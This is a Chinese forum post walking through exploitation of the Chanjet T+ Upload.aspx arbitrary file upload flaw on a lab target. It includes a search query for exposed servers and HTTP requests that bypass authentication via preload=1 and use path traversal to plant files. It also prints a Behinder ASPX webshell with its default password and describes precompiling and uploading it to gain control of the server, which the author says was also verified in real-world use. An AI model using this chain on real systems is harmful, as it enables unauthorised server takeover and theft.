2022年8月29日和8月30日,畅捷通公司紧急发布安全补丁修复了畅捷通T+软件任意文件上传漏洞。未经身份认证的攻击者利用该漏洞,通过绕过系统鉴权,在特定配置环境下实现任意文件的上传,从而执行任意代码,获得服务器控制权限。
用友 畅捷通T+ Upload.aspx接口存在任意文件上传漏洞,攻击者通过 preload 参数绕过身份验证进行文件上传,获取服务器权限。
CNVD对该漏洞的综合评级为“高危”。
app="畅捷通-TPlus"
源码下载:https://dad.chanapp.chanjet.com/TplusYZHJ17.0.zip
下载并解压,进行环境检察:
安装
安装过程中MSSQL 数据库可以不设置:
安装完成(这鬼玩意安装有点慢)
访问:http://127.0.0.1/tplus/view/login.html
跟着大佬的思路简单看看源码。
找到Upload.aspx文件:
可以看到该文件为编译的文件。
畅捷通整套程序用了预编译,到根目录的bin下找对应的compiled文件:TPlusStd\WebSite\bin\upload.aspx.9475d17f.compiled
:
<?xml version="1.0" encoding="utf-8"?>
<preserve resultType="3" virtualPath="/WebSite/SM/SetupAccount/Upload.aspx" hash="16f32931f" filehash="8aff27fcb5b4a92d" flags="110000" assembly="App_Web_upload.aspx.9475d17f" type="ASP.sm_setupaccount_upload_aspx">
<filedeps>
<filedep name="/WebSite/SM/SetupAccount/Upload.aspx" />
<filedep name="/WebSite/SM/SetupAccount/Upload.aspx.cs" />
</filedeps>
</preserve>
搜索App_Web_upload.aspx.9475d17f.dll
:
使用dnspy 反编译查看源码:https://github.com/dnSpy/dnSpy/releases
// CommonPage_SetupAccount_Upload
// Token: 0x06000004 RID: 4 RVA: 0x000020AC File Offset: 0x000002AC
protected void Page_Load(object sender, EventArgs e)
{
this.ReadResources();
if (base.Request.Files.Count == 1)
{
string text = "images/index.gif";
object obj = this.ViewState["fileName"];
if (obj != null)
{
text = obj.ToString();
}
if (this.File1.PostedFile.ContentLength > 204800)
{
base.Response.Write(string.Concat(new string[]
{
"<script language='javascript'>alert('",
this.PhotoTooLarge,
"'); parent.document.getElementById('myimg').src='",
text,
"';</script>"
}));
return;
}
if (this.File1.PostedFile.ContentType != "image/jpeg" && this.File1.PostedFile.ContentType != "image/bmp" && this.File1.PostedFile.ContentType != "image/gif" && this.File1.PostedFile.ContentType != "image/pjpeg")
{
base.Response.Write(string.Concat(new string[]
{
"<script language='javascript'>alert('",
this.PhotoTypeError,
"'); parent.document.getElementById('myimg').src='",
text,
"';</script>"
}));
return;
}
string fileName = this.File1.PostedFile.FileName;
string text2 = fileName.Substring(fileName.LastIndexOf('\\') + 1);
this.File1.PostedFile.SaveAs(base.Server.MapPath(".") + "\\images\\" + text2);
string text3 = base.Server.MapPath(".") + "\\images\\" + text2;
this.ViewState["fileName"] = "images/" + text2;
TPContext.Current.Session["ImageName"] = text3;
}
}
代码大概的意思为上传的文件不大于2M ,然后判断Content-Type 是否为jpeg、bmp、gif、pjpeg其中一个类型,如果是写入到images 目录中,否则会触发弹窗。可以看到文件名没有任何限制。
根据网上的文件上传poc测试:
POST /tplus/SM/SetupAccount/Upload.aspx HTTP/1.1
Host: 192.168.84.200
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASP.NET_SessionId=gvigofzulthd2v1i2q5zndtf; Hm_lvt_fd4ca40261bc424e2d120b806d985a14=1662302093; Hm_lpvt_fd4ca40261bc424e2d120b806d985a14=1662302093
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywwk2ReqGTj7lNYlt
Content-Length: 197
------WebKitFormBoundarywwk2ReqGTj7lNYlt
Content-Disposition: form-data; name="File1";filename="zhang3.aspx"
Content-Type: image/jpeg
hello zhang3
------WebKitFormBoundarywwk2ReqGTj7lNYlt--
发现需要登陆。看看有没有需要鉴权的地方。找一下它的引用文件:
把App_global.asax.dll导入到dnspy 中
没有发现鉴权的函数之类的东西。
从引用中发现用了App_Web_global.asax.cs.cdcab7d2。找到并把dll文件放进去发现用了一个 Application_PreRequestHandlerExecute 函数。
可以看到参数preload 为1 时不经过下方的session 验证。
构造上传poc尝试:
POST /tplus/SM/SetupAccount/Upload.aspx?preload=1 HTTP/1.1
Host: 192.168.84.200
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASP.NET_SessionId=gvigofzulthd2v1i2q5zndtf; Hm_lvt_fd4ca40261bc424e2d120b806d985a14=1662302093; Hm_lpvt_fd4ca40261bc424e2d120b806d985a14=1662302093
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywwk2ReqGTj7lNYlt
Content-Length: 197
------WebKitFormBoundarywwk2ReqGTj7lNYlt
Content-Disposition: form-data; name="File1";filename="zhang3.aspx"
Content-Type: image/jpeg
hello zhang3
------WebKitFormBoundarywwk2ReqGTj7lNYlt--
可以看到返回结果不一样了。
查看靶机images文件中存在上传的文件:
访问: #找到路径http://192.168.84.200/tplus/SM/SetupAccount/images/1.jpg
发现解析不了.aspx文件。
但是换成.txt格式可以看到内容,漏洞验证到这一步算是ok了,即可证明存在漏洞。
采用预编译文件绕过,进行getshell。
使用冰蝎马:
<%@ Page Language="C#" %><%@Import Namespace="System.Reflection"%><%Session.Add("k","e45e329feb5d925b"); /*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/byte[] k = Encoding.Default.GetBytes(Session[0] + ""),c = Request.BinaryRead(Request.ContentLength);Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this);%>
然后CMD 执行:C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe -v / -p C:\Users\XuanJian\Desktop\temp C:\Users\XuanJian\Desktop\payload -fixednames
-p 代表的是木马的目录。 C:\Users\XuanJian\Desktop\payload 表示生成在那个目录中。
生成下图文件:
将 dll 与 compiled
文件上传至 Web应用的 bin目录下:
上传过程中复现出了问题:
发现是靶机用户权限不高造成的。
解决方案:
等待系统配置权限即可。
上传payload:shell.aspx.cdcab7d2.compiled
POST /tplus/SM/SetupAccount/Upload.aspx?preload=1 HTTP/1.1
Host: 192.168.84.200
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASP.NET_SessionId=gvigofzulthd2v1i2q5zndtf; Hm_lvt_fd4ca40261bc424e2d120b806d985a14=1662302093; Hm_lpvt_fd4ca40261bc424e2d120b806d985a14=1662302093
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywwk2ReqGTj7lNYlt
Content-Length: 507
------WebKitFormBoundarywwk2ReqGTj7lNYlt
Content-Disposition: form-data; name="File1";filename="../../../bin/shell.aspx.cdcab7d2.compiled"
Content-Type: image/jpeg
{{payload}}
------WebKitFormBoundarywwk2ReqGTj7lNYlt--
payload部分用编辑器打开比较好App_Web_shell.aspx.cdcab7d2.dll
POST /tplus/SM/SetupAccount/Upload.aspx?preload=1 HTTP/1.1
Host: 192.168.84.200
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASP.NET_SessionId=gvigofzulthd2v1i2q5zndtf; Hm_lvt_fd4ca40261bc424e2d120b806d985a14=1662302093; Hm_lpvt_fd4ca40261bc424e2d120b806d985a14=1662302093
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywwk2ReqGTj7lNYlt
Content-Length: 195
------WebKitFormBoundarywwk2ReqGTj7lNYlt
Content-Disposition: form-data; name="File1";filename="../../../bin/App_Web_shell.aspx.cdcab7d2.dll"
Content-Type: image/jpeg
{{payload}}
------WebKitFormBoundarywwk2ReqGTj7lNYlt--
这里的payload为预编译的文件,打开为乱码,复制粘贴也是处处出错,传到靶机下数据失真,整个文件损坏。
尝试了各种编码的问题,始终无法解决。后经过大佬指点,通过本地上传文件抓包,获取burp中的数据传在靶机下。
先抓取上传的原始数据,发给repeater: #这里用了封神台靶场
通过repeater重发一次,也就是截图中的7发给了13(尽量不要在原始包改动)
8是我们的poc:
用8里面的poc数据包修改13里面的数据包:
最终上传完成。
靶机查看:
原始文件:
5632字节,与我们的原始数据一致,稍有改变,getshell失败。
上传aspx文件,把它传在website根目录下: (有时候会有问题,多传几次。)
POST /tplus/SM/SetupAccount/Upload.aspx?preload=1 HTTP/1.1
Host: 192.168.84.200
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASP.NET_SessionId=gvigofzulthd2v1i2q5zndtf; Hm_lvt_fd4ca40261bc424e2d120b806d985a14=1662302093; Hm_lpvt_fd4ca40261bc424e2d120b806d985a14=1662302093
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywwk2ReqGTj7lNYlt
Content-Length: 513
------WebKitFormBoundarywwk2ReqGTj7lNYlt
Content-Disposition: form-data; name="File1";filename="../../../shell.aspx"
Content-Type: image/jpeg
è¿æ¯é¢ç¼è¯å·¥å ·çæçæ è®°æ件ï¼ä¸åºå é¤!
------WebKitFormBoundarywwk2ReqGTj7lNYlt--
靶机:
到此,传马完成。
冰蝎连接:http://192.168.84.200/tplus/shell.aspx?preload=1 密码:rebeyond
复现完成。
在实战环境中做了验证,经得起考验。
https://www.o2oxy.cn/4104.html
用户名 | 金币 | 积分 | 时间 | 理由 |
---|---|---|---|---|
Track-劲夫 | 60.00 | 0 | 2022-11-19 21:09:32 | 一个受益终生的帖子~~ |
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.